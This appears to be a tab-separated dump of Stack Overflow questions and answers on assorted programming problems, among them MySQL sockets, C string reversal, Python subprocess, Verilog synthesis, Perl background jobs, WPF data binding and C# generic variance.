18290918	0	 <p>This is not a Laravel nor Sentry problem, this probably is a PDO (database) connection error.</p> <p>This is basic, but still: check if mysql is running and if mysqld.sock has the proper permissions.</p> <p>Check if your php.ini file has it configured properly, example:</p> <pre><code>pdo_mysql.default_socket = /var/run/mysqld/mysqld.sock </code></pre> <p>Verify the proper location of it by running:</p> <pre><code>mysqladmin variables </code></pre> <p>OR</p> <pre><code>mysqld --verbose --help | grep ^socket </code></pre>
16773227	0	 <p>In the DevCenter, you have to type the description and upload the screenshots for every language individually. Just change the current language on the list, then upload your assets. It is a step of the submission process, it has nothing to do with the application itself.</p>
20001908	0	String reverse without to turn the numbers in c <pre><code>int main() { char str[1000],temp; int i,j=0; printf("String: "); gets(str); i=0; j=strlen(str)-1; while(i&lt;j) { temp=str[i]; str[i]=str[j]; str[j]=temp; i++; j--; } printf("\n"); printf("%s",str); return 0; } </code></pre> <p>I want to change the rota </p> <p><strong>- In: 15 15 15 15 15 0 0<br> - Out: 0 0 51 51 51 51 51 but i want : 0 0 15 15 15 15 15</strong></p>
33731549	1	Python urllib2 read return different results for a ftp request, why? <p>I ran into some werid behavior, these two functions echo different sizes always. The first one echoes certain and right result, while the second one echoes random wrong results, is there anyone who knows why? I am using Python 2.7.10.</p> <pre><code>import urllib2 url = 'ftp://ftp.ripe.net/pub/stats/ripencc/delegated-ripencc-extended-latest' def one(): response = urllib2.urlopen(url) data = response.read() print len(data) def two(): print len(urllib2.urlopen(url).read()) one() two() </code></pre>
32365886	0	 <p>Both <code>call</code> and <code>Popen</code> provide means of accessing the output of your command:</p> <ul> <li>With <code>Popen</code> you can use <code>communicate</code> or provide a file descriptor or file object to the <code>stdout=...</code> parameter.</li> <li>With <code>call</code> your only option is to pass a file descriptor or a file object to the <code>stdout=...</code> parameter (you can not use <code>communicate</code> with this one).</li> </ul> <p>Now, the reason why <code>stdout=PIPE</code> is insecure when used with <code>call</code> is because <code>call</code> doesn't return until the subprocess has finished, this means all the output would have to reside in memory until that moment, and if the amount of output is too much then that would fill the OS pipes' buffer.</p> <p>The references where you can validate the above information are the following:</p> <ol> <li>According to <a href="https://docs.python.org/2/library/subprocess.html#subprocess.call" rel="nofollow">this</a> the parameters for both <code>call</code> and <code>Popen</code> are the same:</li> </ol> <blockquote> <p>The arguments shown above are merely the most common ones, described below in Frequently Used Arguments (hence the slightly odd notation in the abbreviated signature). The full function signature is the same as that of the Popen constructor - this functions passes all supplied arguments directly through to that interface.</p> </blockquote> <ol start="2"> <li>According to <a href="https://docs.python.org/2/library/subprocess.html#subprocess.Popen" rel="nofollow">this</a> the possible values for the <code>stdout</code> parameter are:</li> </ol> <blockquote> <p>Valid values are PIPE, an existing file descriptor (a positive integer), an existing file object, and None. PIPE indicates that a new pipe to the child should be created</p> </blockquote>
20158550	0	 <p>You might look into using a modal for videos instead of the router if you want to overlay it on top of multiple states. If you stick with using the router, you might want to define videos as a child state of both home and portfolio instead of defining three states at the same level.</p>
22443545	0	Running batch file at Windows 7 UNLOCK <p>I have a very simple .bat file. It only has one line:</p> <pre><code>powercfg -h off </code></pre> <p>What this does is turn off the computer's ability to hibernate. It works fine when I double click the file. I can confirm this by going into the command prompt and typing "powercfg /a", which shows me that hibernate is indeed off. The problem is that this batch file doesn't seem to be running at logon even though it's in my Startup folder.</p> <p>I've tested it by turning hibernate on using the command prompt ("powercfg -h on") and then actually putting my computer into hibernation. Then I turn it back on and log in to Windows. But when I open a command prompt and type "powercfg /a" it shows me that hibernate is still on. It seems the batch file doesn't run at logon even though it is in my Startup folder.</p> <p>I've also tried making it run from a task scheduled to run at logon, but that didn't work either.</p>
5144902	0	 <p>No -- the initialization syntax <em>only</em> works for initialization, not assignment, so it <em>must</em> be part of the array definition, not afterwards. Afterwards, what you'd have would be assigning an array instead of truly initializing it, and C does not support array assignment.</p>
18636373	0	Dropdownlist On Second Choose First Selected wont Display:none; <p>JS</p> <pre><code>function getData(dropdown) { var value = dropdown.options[dropdown.selectedIndex].value; if (value == 'emlak'){ document.getElementById("emlak").style.display = "block"; } if(value == 'vasita'){ document.getElementById("vasita").style.display = "block"; } } </code></pre> <p>HTML</p> <pre><code>&lt;select name="kategori" onChange="getData(this);"&gt; &lt;option value="hat" onClick=""&gt;Hat&lt;/option&gt; &lt;option value="emlak"&gt;Shirt&lt;/option&gt; &lt;option value="vasita"&gt;Pants&lt;/option&gt; &lt;/select&gt; &lt;select id="emlak" name="currentList" onChange=";" style="display:none;"&gt; &lt;option value="hat"&gt;Hat&lt;/option&gt; &lt;option value="emlak"&gt;Shirt&lt;/option&gt; &lt;option value="pants"&gt;Pants&lt;/option&gt; &lt;/select&gt; &lt;select id="vasita" name="currentList" onChange="" style="display:none;"&gt; &lt;option value="hat"&gt;Otomobil&lt;/option&gt; &lt;option value="emlak"&gt;Shirt&lt;/option&gt; &lt;option value="pants"&gt;Pants&lt;/option&gt; &lt;/select&gt; </code></pre> <blockquote> <p>When I Choose a Option second time first selected option wont display:none; it should show just one select</p> </blockquote>
37190793	0	Iterate array non-sequentially <p>I am working with an array of objects (tweets) and I only want to iterate over a certain number of those objects on each page load. Where the last count stopped iterating will be saved and started there again on the next page load. This is where I'm stuck.</p> <pre><code>var obj1 = [{ "name": "trai" }, { "name": "beth" }, { "name": "taylor" }, { "name": "trace" }, { "name": "dad" }, { "name": "elaine" }]; var i = 5; //last index. will be updated and retrieved in browser storage var num = 2; //number to iterate for (var count = 0; count &lt; num; count++) { $('body').append('&lt;div&gt;' + obj1[i].name + '&lt;/div&gt;'); if (i &gt;= obj1.length) { i = 0; } else {i++;} } </code></pre>
5271632	0	 <p>I have idea of how to do it, i think it will be helpful to you , but never implemented like this. First you have to go with custom table . For that table you can give all the contact names from your addressbook. you can use <a href="http://developer.apple.com/library/mac/#documentation/userexperience/Reference/AddressBook/Classes/ABAddressBook_Class/Reference/Reference.html" rel="nofollow">http://developer.apple.com/library/mac/#documentation/userexperience/Reference/AddressBook/Classes/ABAddressBook_Class/Reference/Reference.html</a></p> <p>just go through it you can understand .</p> <p>you have to use these methods. 1) - (NSArray *)people you will get all people records into returned array. each record will have unique id , you have to retrieve it</p> <p>ABRecord rec = [returnedArray objectAtIndex:0];</p> <p>NSString *pid = rec.uniqueId </p> <p>-(NSString *) uniqueId ( this is ABRecord property method )</p> <p>once you got it you can retireve from your array what you want by using that recordid/ unique id .</p>
15051526	0	 <p>You do not pass parameters to scripts, you pass parameters to functions.</p> <p>You will need to change your script so that it doesn't actually do anything until the functions therein are <em>invoked</em>, and pass the parameters at that point.</p> <p>Your problem then becomes just one of figuring out when the script has completed loading, which can be done by adding a <code>.onload</code> handler to the <code>&lt;script&gt;</code> element object.</p>
2510935	0	 <p>The smallest builtin hash I am aware of is md5</p> <pre><code>&gt;&gt;&gt; import hashlib &gt;&gt;&gt; hashlib.md5("hello worlds").digest().encode("base64") 'uWuHitcvVnCdu1Yo4c6hjQ==\n' </code></pre> <p>Low collision and short are somewhat mutually exclusive due to the <a href="http://en.wikipedia.org/wiki/Birthday_problem" rel="nofollow noreferrer">birthday paradox</a></p> <p>To make it urlsafe you need to use the function from the base64 module</p> <pre><code>&gt;&gt;&gt; import base64 &gt;&gt;&gt; base64.urlsafe_b64encode(hashlib.md5("hello world").digest()) 'XrY7u-Ae7tCTyyK7j1rNww==' </code></pre> <p>However there should be no problem storing the 16 byte md5 digest in the database in binary form.</p> <pre><code>&gt;&gt;&gt; md5bytes=hashlib.md5("hello world").digest() &gt;&gt;&gt; len(md5bytes) 16 &gt;&gt;&gt; urllib.quote_plus(md5bytes) '%5E%B6%3B%BB%E0%1E%EE%D0%93%CB%22%BB%8FZ%CD%C3' &gt;&gt;&gt; base64.urlsafe_b64encode(md5bytes) 'XrY7u-Ae7tCTyyK7j1rNww==' </code></pre> <p>You can choose either the <code>quote_plus</code> or the <code>urlsafe_b64encode</code> for your url, then decode with the corresponding function <code>unquote_plus</code> or <code>urlsafe_b64decode</code> before you look them up in the database.</p>
34066153	0	How to exclude unit-tests with TestCaseFilter in TFS Build which do contain a namespace <p>I want to exclude all tests which include <strong>Abc</strong> in the namespace.</p> <p>What is the correct pattern to use ?</p> <pre><code>!(FullyQualifiedName~.Abc.) </code></pre> <p>is not valid ?</p> <p>I used this web-page as reference : <a href="http://blogs.msdn.com/b/visualstudioalm/archive/2012/09/26/running-selective-unit-tests-in-vs-2012-using-testcasefilter.aspx" rel="nofollow">http://blogs.msdn.com/b/visualstudioalm/archive/2012/09/26/running-selective-unit-tests-in-vs-2012-using-testcasefilter.aspx</a></p>
33096280	0	 <p>I think you should use <a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/replaceChild" rel="nofollow">Node.replaceChild</a>.</p> <pre class="lang-js prettyprint-override"><code>var curImg = opener.document.getElementById("materiallogo"); var newImg = document.createElement("img"); // give it an id attribute newImg.setAttribute("id", curImg.id); var parentDiv = curImg.parentNode; // replace existing node curImg with the new img element newImg parentDiv.replaceChild(curImg, newImg); newImg.src = '' // &lt;-------------- HERE PUT NEW PATH FOR IMG </code></pre>
38014617	0	batch script for loop teminates the batch <p>I'm trying to use for loop and read contents of a file line by line the file is an xml and contains urls and paths delimited by <code>&lt;&gt;</code> </p> <p>I am using the following code</p> <pre><code>set @LOGFILE=F:\nircmd\hosts.xml :loop for /F "tokens=2-3 delims=&lt;&gt;" %%a in (%LOGFILE%)do echo "it works" timeout /t goto :loop </code></pre> <p>the batch is terminating as soon as it encounters the for loop</p> <p>i have already tried to pause or timeout the batch but nothing seems to work batch is anyway terminating</p> <p>what to do?</p>
40766199	0	 <p>Please keep in mind that you are declaring an absolute path...</p> <p>Starting with "/" returns to the root directory and starts there.</p> <p>This can be useful</p> <p><a href="https://css-tricks.com/quick-reminder-about-file-paths/" rel="nofollow noreferrer">https://css-tricks.com/quick-reminder-about-file-paths/</a></p>
36130431	0	 <p>There is a very minor difference (effectively negligible, we're talking micro-optimization here), since the string should be stored in a local variable which takes that extra bit of memory on the stack frame of the corresponding method. Whereas the constants are actually stored in the constant pool and shared. With the likely optimizations of the JVM based on the number of invocations, it won't make a difference.</p> <p>Note that the bytecode would be the same if the variables were <code>final</code> or effectively <code>final</code> (assigned only once), since in this case they are treated as constants.</p>
1523119	0	 <p>I am personally using Orbited, both because I am already using Twisted and because it seems mature. Twisted has a nice long history with many users, especially in comparison to Diesel and Tornado. Orbited is indeed built on Twisted.</p> <p>There is a good blog entry covering an <a href="http://cometdaily.com/2008/10/10/scalable-real-time-web-architecture-part-2-a-live-graph-with-orbited-morbidq-and-jsio/" rel="nofollow noreferrer">end-to-end orbit solution here</a>. It sends data from a python script to a STOMP server (MorbidQ) to Orbited to Javascript - rendering that data as a graph.</p> <p>Tornado seems pretty new to the scene, I couldn't find twisted-comet and I hadn't heard of diesel. I particularly like the way that Orbited can forward any sort of tcp/ip but makes it easy to hook javascript clients in with a message passing STOMP backend.</p>
17451594	0	 <p>The caret <code>^</code> is an operator used to introduce a block variable or a block expression in the clang Block extension:</p> <p><a href="http://clang.llvm.org/docs/BlockLanguageSpec.html" rel="nofollow">http://clang.llvm.org/docs/BlockLanguageSpec.html</a></p>
32699309	0	 <p>When I use Quartus II ver 15.0, assiging "don't care" to output is OK and generated area-efficient circuit.</p> <p>For example, if I synthesize this code, that :</p> <pre><code>module test1 ( input wire a, input wire b, output reg [3:0] s ); always @* begin case ({a,b}) 2'b00 : s = 4'b1000; 2'b01 : s = 4'b0100; 2'b10 : s = 4'b0010; 2'b11 : s = 4'b0001; default: s = 4'b0000; endcase end endmodule </code></pre> <p>Quartus generated a circuit which uses <strong>5 Logic Elements</strong>. <a href="https://i.stack.imgur.com/CaJOR.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/CaJOR.png" alt="not optimized"></a></p> <p>However, If I use "don't care" assignment in the code above:</p> <pre><code>module test1 ( input wire a, input wire b, output reg [3:0] s ); always @* begin case ({a,b}) 2'b00 : s = 4'b1xxx; 2'b01 : s = 4'b01xx; 2'b10 : s = 4'b001x; 2'b11 : s = 4'b0001; default: s = 4'b0000; endcase end endmodule </code></pre> <p>a circuit which uses only <strong>2 Logic Elements</strong> is generated. It's interesting that although the total logic elements are less used, the generated circuit seems to be more complex. <a href="https://i.stack.imgur.com/lBuCY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/lBuCY.png" alt="optimized"></a></p> <p>I was wondering whether the generated circuit is correct. So I ran Quartus's simulator with the circuit which uses "don't care". The result is the simplest circuit we want. <a href="https://i.stack.imgur.com/uLD1U.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uLD1U.png" alt="enter image description here"></a></p>
13204142	0	 <p>Since the internal pointer of the stream is at index 4 after you write the data, you need to <a href="http://php.net/fseek" rel="nofollow"><code>fseek</code></a> back to the beginning of your stream:</p> <pre><code>// fwrite fseek($memory, 0); // same as rewind($memory); // fread </code></pre>
27407267	0	New to JavaScript - Need help creating multiple objects with data from a form <p>I just started learning JavaScript and have been stuck on an assignment for about a week now, I've tried several solutions but every time I add something I break something else. The assignment is to create a form (which I have completed). The form is to be used to enter data for a new favorite item, when each item is entered it should be displayed on the page and in the console log, as additional items are entered they are added to the list and all items are displayed - </p> <p>Ex - Favorites are: URL:<a href="http://oriellyschool.com" rel="nofollow">http://oriellyschool.com</a>, title: O'Reilly School, comment: help, tags: school, learning, URL: <a href="http://google.com" rel="nofollow">http://google.com</a>, title: Google, comment: Use google to find info on JavaScript, tags: search, finding info faves:html:133</p> <p>The specific instructions are to use objects for both all favorites and each new favorite item. The functionality to display the favorites (in console and on page) should be included in the methods for the objects.</p> <p>I am able to get the data from the form into a function and had the function to create the favorites working yesterday, not sure what happened this morning.</p> <p>If someone could please take a look at this and tell me if I am at least heading in the right direction I would appreciate it. I'm just going in circles now. (I have tons of console.log statements in the code so I could try to see what it was doing). Thanks!</p> <p>Code:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>// Function to create entries for favorite items from web form function FaveoriteEntry(url, title, comment, tags) { console.log("In Fave Function"); this.url = url; console.log(this.url); this.title = title; console.log(this.title); this.comment = comment; console.log(this.comment); this.tags = tags; console.log(this.tags); console.log("Have all items"); } //Function to retrieve data from web form and send to function to creat favorite //object. function addFavorite() { var myFavorites = []; console.log("In Function"); var furl = getFavorites.formURL.value; var ftitle = getFavorites.formTitle.value; var fcomment = getFavorites.formComment.value; var ftags = getFavorites.formTags.value; this.clear = getFavorites.reset(); console.log("Entry: " + furl + " " + ftitle + " " + fcomment + " " + ftags); this.createFavorites = function(url, title, comment, tags) { console.log("In Fave Function"); this.url = url; console.log(this.url); this.title = title; console.log(this.title); this.comment = comment; console.log(this.comment); this.tags = tags; console.log(this.tags); console.log("Have all items"); this.string = (this.url + "," + this.title + "," + this.comment + "," + this.tags); myFavorites.push(this.string); var addfavorite = new this.createFavorites(furl, ftitle, fcomment, ftags); console.log(myFavorites); } }</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>body { font-family: Helvetica, Ariel, sans-serif; } form { display: table; border-spacing: 5px; } form p { display: table-row; } form label { display: table-cell; text-align: right; } form input { display: table-cell; } span.comment { font-size: 80%; color: #777777; } span.tags { font-size: 80%; color: rgb(48, 99, 170); }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Advanced JavaScript Project: Favorites and Tags&lt;/title&gt; &lt;meta charset="utf-8"&gt; &lt;/head&gt; &lt;body&gt; &lt;form name="getFavorites" onsubmit="return favorites(this)"&gt; &lt;h1&gt;Tag and save your favorites&lt;/h1&gt; &lt;text&gt;&lt;/text&gt; &lt;fieldset&gt; &lt;legend&gt;Add a new favorite:&lt;/legend&gt; &lt;p&gt; &lt;label&gt;URL:&lt;/label&gt; &lt;input type="text" name="formURL" value="" /&gt; &lt;p&gt; &lt;label&gt;Title:&lt;/label&gt; &lt;input type="text" name="formTitle" value="" /&gt; &lt;/p&gt; &lt;p&gt; &lt;label&gt;Comment:&lt;/label&gt; &lt;input type="text" name="formComment" value="" /&gt; &lt;/p&gt; &lt;p&gt; &lt;label&gt;Tags:&lt;/label&gt; &lt;input type="text" name="formTags" value="" /&gt; &lt;/p&gt; &lt;input type="button" name="button" value="Add Link" onClick="addFavorite(this.form)" /&gt; &lt;/fieldset&gt; &lt;u1 id="faves-lists"&gt; &lt;h1&gt; List of Favorites&lt;/h1&gt; &lt;li&gt;Test -&lt;/li&gt; &lt;p&gt; &lt;span class="comments"&gt;&lt;/span&gt; &lt;/p&gt; &lt;p&gt; &lt;span class="tags"&gt;&lt;/span&gt; &lt;/p&gt; &lt;/u1&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p>
3296262	0	 <p>This MSDN article comparing the two is for SQL Server 2000: <a href="http://msdn.microsoft.com/en-us/library/aa224827(SQL.80).aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/aa224827(SQL.80).aspx</a></p> <p>For most purposes, there's no difference - the constraint is implemented as an index under the covers. And though there's the ability to disable the constraint, it doesn't actually work in SQL Server.</p> <p>It only matters if you want to tweak things like FILLFACTOR, etc for which way you want to implement the unique constraint.</p> <p>SQL Server 2008+ added <code>INCLUDE</code> to provide more efficient covering indexes. Filtered indexes = unique constraint over a subset of rows/ignore multiple null etc.</p>
25038975	0	 <p>You have forgotten to close the <code>$(document).ready</code> function</p>
17440148	0	 <p>Let's simplify:</p> <pre><code>interface IAnimal { ... } interface ICage&lt;T&gt; where T : IAnimal { void Enclose(T animal); } class Tiger : IAnimal { ... } class Fish : IAnimal { ... } class Cage&lt;T&gt; : ICage&lt;T&gt; where T : IAnimal { ... } ICage&lt;IAnimal&gt; cage = new Cage&lt;Tiger&gt;(); </code></pre> <p>Your question is: why is the last line illegal?</p> <p>Now that I have rewritten the code to simplify it, it should be clear. <strong>An <code>ICage&lt;IAnimal&gt;</code> is a cage into which you can place <em>any animal</em>, but a <code>Cage&lt;Tiger&gt;</code> can <em>only hold tigers</em>, so this must be illegal.</strong> </p> <p>If it were not illegal then you could do this:</p> <pre><code>cage.Enclose(new Fish()); </code></pre> <p>And hey, you just put a fish into a tiger cage.</p> <p>The type system does not permit that conversion because doing so would violate the rule that the capabilities of the source type must not be <em>less</em> than the capabilities of the target type. (This is a form of the famous "Liskov substitution principle".)</p> <p>More specifically, I would say that you are abusing generics. The fact that you've made type relationships that are too complicated for you to analyze yourself is evidence that you ought to simplify the whole thing; if you're not keeping all the type relationships straight and you wrote the thing then your users surely will not be able to keep it straight either.</p>
4687866	0	 <p>You can either accept the customParent as a argument in the constructor, or better yet, the <code>FindBox</code> form should take a <code>Action&lt;string&gt;</code> that it will call once the find button is pressed.</p> <h2>Example:</h2> <pre><code>class MainForm : Form { public void FindNext(string find) { // Do stuff } public void OpenFindWindow() { FindBox find = new FindBox(this.FindNext); find.Show(); } } class FindBox : Form { private Action&lt;string&gt; callback; public FindBox(Action&lt;string&gt; callback) { this.callback = callback; } public void FindButtonPressed() { callback(textBox1.text); } } </code></pre>
35500494	0	 <p>Every object instance is also an instance of it's parent. You make all properties private in the parent and offer secured access through public methods. All public methods will be available to child classes as if they were their own, without access to private properties.</p> <pre><code>class foo { private $db; public function dbSelect() { return $this-&gt;db-&gt;select();// Example } } class bar extends foo { public function loadTemplate($file) { require($file); $selected = $this-&gt;dbSelect(); } } </code></pre>
36811687	0	Reason of Non-singleton dimensions mismatch in data under PCA <p>During pca analysis using built in pca function in matlab, I faced the following error. Data is actually a feature vector obtained from 30 MR images. </p> <pre><code>&gt;&gt; size(data) ans = 30 281 389 104 [coeff score varience] = pca(data); Error using bsxfun Non-singleton dimensions of the two input arrays must match each other. Error in pca&gt;localSVD (line 468) x = bsxfun(@times, x, PhiSqrt); Error in pca (line 341) [U,sigma, coeff, wasNaN] = localSVD(x, n,... </code></pre> <p>Would you let me know any solution? </p>
5135504	0	 <p>Japanese_90 appears to be the new collation name.</p> <p><a href="http://msdn.microsoft.com/en-us/library/bb330962%28v=sql.90%29.aspx#intlftrql2005_topic24" rel="nofollow">http://msdn.microsoft.com/en-us/library/bb330962%28v=sql.90%29.aspx#intlftrql2005_topic24</a></p> <p>Note, you might want to consider the _KS suffix if you want to consider Hirigana/Katakana whilst sorting. Like Marc_S says, you will also want to ensure your column datatype is nvarchar</p>
30419579	0	 <p>I would suggest doing the whole thing in awk, rather than using a shell loop:</p> <pre><code>awk '{for (i=1; i&lt;=12; ++i) printf "%d%s", $1+i, (i&lt;12?FS:RS)}' "$f1" &gt; output </code></pre> <p>This loop runs for each line of the file and outputs all of the columns, saving the need to use another tool such as <code>paste</code>. The ternary operator is used to output a space (<code>FS</code>) between each column and a newline (<code>RS</code>) at the end of the line.</p> <hr> <p>For the second part of your question, you can still do most of the work in awk.</p> <pre><code>declare -A companies companies=( [company1]=10 [company2]=25 [company3]=50 ) for c in "${companies[@]}"; do awk -v bonus="${companies[c]}" '{for (i=1; i&lt;=12; ++i) printf "%d%s", $i+(i==1||i==5||i==9?bonus:5), (i&lt;12?FS:RS)}' "$f1" &gt; "$c.txt" done </code></pre> <p>I have created an associative array containing each company name and their bonus. The loop goes through each company in the array, passing the bonus to awk as a variable (note that I'm doing this using <code>-v</code> rather than using string concatenation). The loop goes from 1 to 12, adding the bonus for months 1, 5 and 9, or 5 otherwise. The name of the company (the key of the shell array) is used for the output file.</p>
2646694	0	Running job in the background from Perl WITHOUT waiting for return <h3>The Disclaimer</h3> <p>First of all, I know this question (or close variations) have been asked a thousand times. I really spent a few hours looking in the obvious and the not-so-obvious places, but there may be something small I'm missing.</p> <h3>The Context</h3> <p>Let me define the problem more clearly: I'm writing a newsletter app in which I want the actual sending process to be async. As in, user clicks "send", request returns immediately and then they can check the progress in a specific page (via AJAX, for example). It's written in your traditional LAMP stack.</p> <p>In the particular host I'm using, PHP's exec() and system() are disabled for security reasons, but Perl's system functions (exec, system and backticks) aren't. So my <del>workaround</del> solution was to create a "trigger" script in Perl that calls the actual sender via the PHP CLI, and redirects to the progress page.</p> <h3>Where I'm Stuck</h3> <p>The very line the calls the sender is, as of now:</p> <pre><code>system("php -q sender.php &amp;"); </code></pre> <p>Problem being, it's not returning immediately, but waiting for the script to finish. I want it to run in the background and have the system call itself return right away. I also tried running a similar script in my Linux terminal, and in fact the prompt doesn't show until after the script has finished, even though my test output doesn't run, indicating it's really running in the background.</p> <h3>What I already tried</h3> <ul> <li>Perl's exec() function - same result of system().</li> <li>Changing the command to: "php -q sender.php | at now"), hoping that the "at" daemon would return and that the PHP process itself wouldn't be attached to Perl.</li> <li>Executing the command 'indirectly': "/bin/sh -c 'php -q sender.php &amp;'" - still waits until sender.php is finished sending.</li> <li>fork()'ing the process and executing the system call in the child (hopefully detached process) - same result as above</li> </ul> <h3>My test environment</h3> <p>Just to be sure that I'm not missing anything obvious, I created a sleeper.php script which just sleeps five seconds before exiting. And a test.cgi script that is like this, verbatim:</p> <pre><code>#!/usr/local/bin/perl system("php sleeper.php &amp;"); print "Content-type: text/html\n\ndone"; </code></pre> <h3>What should I try now?</h3>
30023417	0	animated GIFs with Twitter Player card not working? <p>I am trying to set Up Animated GIF with player card. but when I test my player card <a href="https://cards-dev.twitter.com/validator" rel="nofollow">https://cards-dev.twitter.com/validator</a> it dosen't show animated GIF.</p> <p>Here is my meta code for player card</p> <pre><code>&lt;meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/&gt; &lt;meta name="twitter:card" value="player"&gt; &lt;meta name="twitter:site" value="@uncleLaravel"&gt; &lt;meta name="twitter:title" value="domain.com"&gt; &lt;meta name="twitter:description" value="sample"&gt; &lt;meta name="twitter:image" value="http://domain.com/img/sample.gif"&gt; &lt;meta name="twitter:player" value="http://www.domain.com/container.html"&gt; &lt;meta name="twitter:player:width" value="320"&gt; &lt;meta name="twitter:player:height" value="320"&gt; &lt;meta name="twitter:domain" value="domain.com"&gt; </code></pre> <p>container.html</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt; &lt;style&gt; html, body{ margin: 0; padding: 0; overflow: hidden; } img{ border: 0; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;img id="gif" src="/sample.gif" width="100%"&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Is anything wrong here?</p>
40664995	0	 <pre><code>if(hours * 100 + minutes &lt; mynum){ System.exit(0); } </code></pre>
23279957	0	 <p>Data validation in javascript is always complicate, and with regular expression is hard to take care about differnt months lenght, leap years and cultures. </p> <p>You could make all simplier by introducing <a href="http://momentjs.com/" rel="nofollow">moment.js</a>. With this tiny library you can validate date without worry abot dates, months length, leap years.</p>
23531386	0	How can I update my DataGrid when a user makes a selection in the ComboBox? <p>Here's my ComboBox: </p> <pre><code>&lt;ComboBox HorizontalAlignment="Left" Margin="125,110,0,0" VerticalAlignment="Top" Width="120" DisplayMemberPath="lot_number" ItemsSource="{Binding LotNumList}" RenderTransformOrigin="0.583,2" Height="18" /&gt; </code></pre> <p>Here's a DataGrid that I want to update the values to:</p> <pre><code>&lt;DataGrid HorizontalAlignment="Left" Margin="228,177,0,0" VerticalAlignment="Top" Height="292" Width="617" ItemsSource="{Binding ComponentsList}" AutoGenerateColumns="False"&gt; &lt;DataGrid.Columns&gt; &lt;DataGridTextColumn Header="Component" Binding="{Binding component}" CanUserResize="False"/&gt; &lt;DataGridTextColumn Header="Control" Binding="{Binding aControl}" CanUserResize="False"/&gt; &lt;DataGridTextColumn Header="Reference" Binding="{Binding cal_ref}" CanUserResize="False" /&gt; &lt;DataGridTextColumn Header="Family" Binding="{Binding family}" CanUserResize="False"/&gt; &lt;DataGridTextColumn Header="Id" Binding="{Binding componentId }" CanUserResize="False"/&gt; &lt;/DataGrid.Columns&gt; </code></pre> <p>Here's how I'm grabbing data from db to populate the ComboBox:</p> <pre><code>//Grabs the lot_number column from db that is distinct var lotNum = db.LotInformation.GroupBy(i =&gt; i.lot_number) .Select(group =&gt; group.FirstOrDefault()); //Loops through the lot numbers column in db and converts to list foreach (var item in lotNum) { Console.WriteLine(item.lot_number); } LotNumList = lotNum.ToList(); </code></pre> <p>Now I am wondering how do I connect my ComboBox so that when I select a value in the ComboBox... then the DataGrid gets updated based on the value of the selection in the ComboBox. </p> <p>I tried something like this: </p> <pre><code>private void UpdateExistLotList(string LotNumber) { using (var db = new DDataContext()) { //Grabs the lot_number column from db that is distinct var ExistLot = db.LotInformation.First(l =&gt; l.lot_number.Equals(LotNumber)); } } </code></pre> <p>Calling the method in my lot number list property but it doesn't get called or just doesn't work. I'm not sure what I'm doing wrong. Any ideas?</p> <p>EDIT: </p> <p>Properties: </p> <pre><code>public List&lt;Components&gt; ComponentsList { get { return components; } set { components = value; RaisePropertyChanged("ComponentsList"); } } public string LotNumber { get { return lotNumber; } set { lotNumber = value; RaisePropertyChanged("LotNumber"); } } public List&lt;LotInformation&gt; LotNumList { get { return lotNumList; } set { lotNumList = value; RaisePropertyChanged("LotNumList"); UpdateExistLotList(LotNumber); } } </code></pre> <p>Here's where LotNumber is declared (I take the deserialized value of lot number from memory and assign it to LotNumber): </p> <pre><code>public void DeSerializationXML(string filePath) { XmlRootAttribute xRoot = new XmlRootAttribute(); xRoot.ElementName = "lot_information"; xRoot.IsNullable = false; // Create an instance of lotinformation class. var lot = new LotInformation(); // Create an instance of stream writer. TextReader txtReader = new StreamReader(filePath); // Create and instance of XmlSerializer class. XmlSerializer xmlSerializer = new XmlSerializer(typeof(LotInformation), xRoot); // DeSerialize from the StreamReader lot = (LotInformation)xmlSerializer.Deserialize(txtReader); // Close the stream reader txtReader.Close(); //Storing deserialized strings to db using (var db = new DMIDataContext()) { LotInformation newLot = new LotInformation(); if (newLot != null) { newLot.Id = lot.Id; newLot.lot_number = lot.lot_number; newLot.exp_date = lot.exp_date; LotNumber = newLot.lot_number; ExpirationDate = newLot.exp_date.ToString(); //Grabs the lot_number column from db that is distinct var lotNum = db.LotInformation.GroupBy(i =&gt; i.lot_number).Select(group =&gt; group.FirstOrDefault()); //Loops through the lot numbers column in db and converts to list foreach (var item in lotNum) { Console.WriteLine(item.lot_number); } LotNumList = lotNum.ToList(); foreach (Components comp in lot.Components) { newLot.Components.Add(comp); } ComponentsList = newLot.Components; foreach (Families fam in lot.Families) { newLot.Families.Add(fam); } FamiliesList = newLot.Families; try { db.LotInformation.Add(newLot); db.SaveChanges(); Console.WriteLine("successfully"); } catch { //TODO: Add a Dialog Here } } } </code></pre>
559708	0	 <p>Django uses a cache. The RDBMS uses a cache. Don't prematurely optimize the queries. </p> <p>You can play with bulk queries in your view function instead of one-at-a-time queries in your template. </p> <pre><code>@render_to('home/main.html') def login(request): # Query all clients clients = Client.objects.all() # Assemble an in-memory table of pets pets = collections.defaultdict(list) for p in Pet.objects.all(): pets[pet.client].append(p) # Create clients and pets tuples clientsPetTuples = [ (c,pets[c]) for c in clients ] return {'clientPets': clientsPetTuples} </code></pre> <p>However, you don't seem to have any evidence that your template is the slowest part of your application.</p> <p>Further, this trades off giant memory use against SQL use. Until you have measurements that prove that your template queries are actually slow, you shouldn't be over thinking the SQL.</p> <p>Don't worry about the SQL until you have evidence.</p>
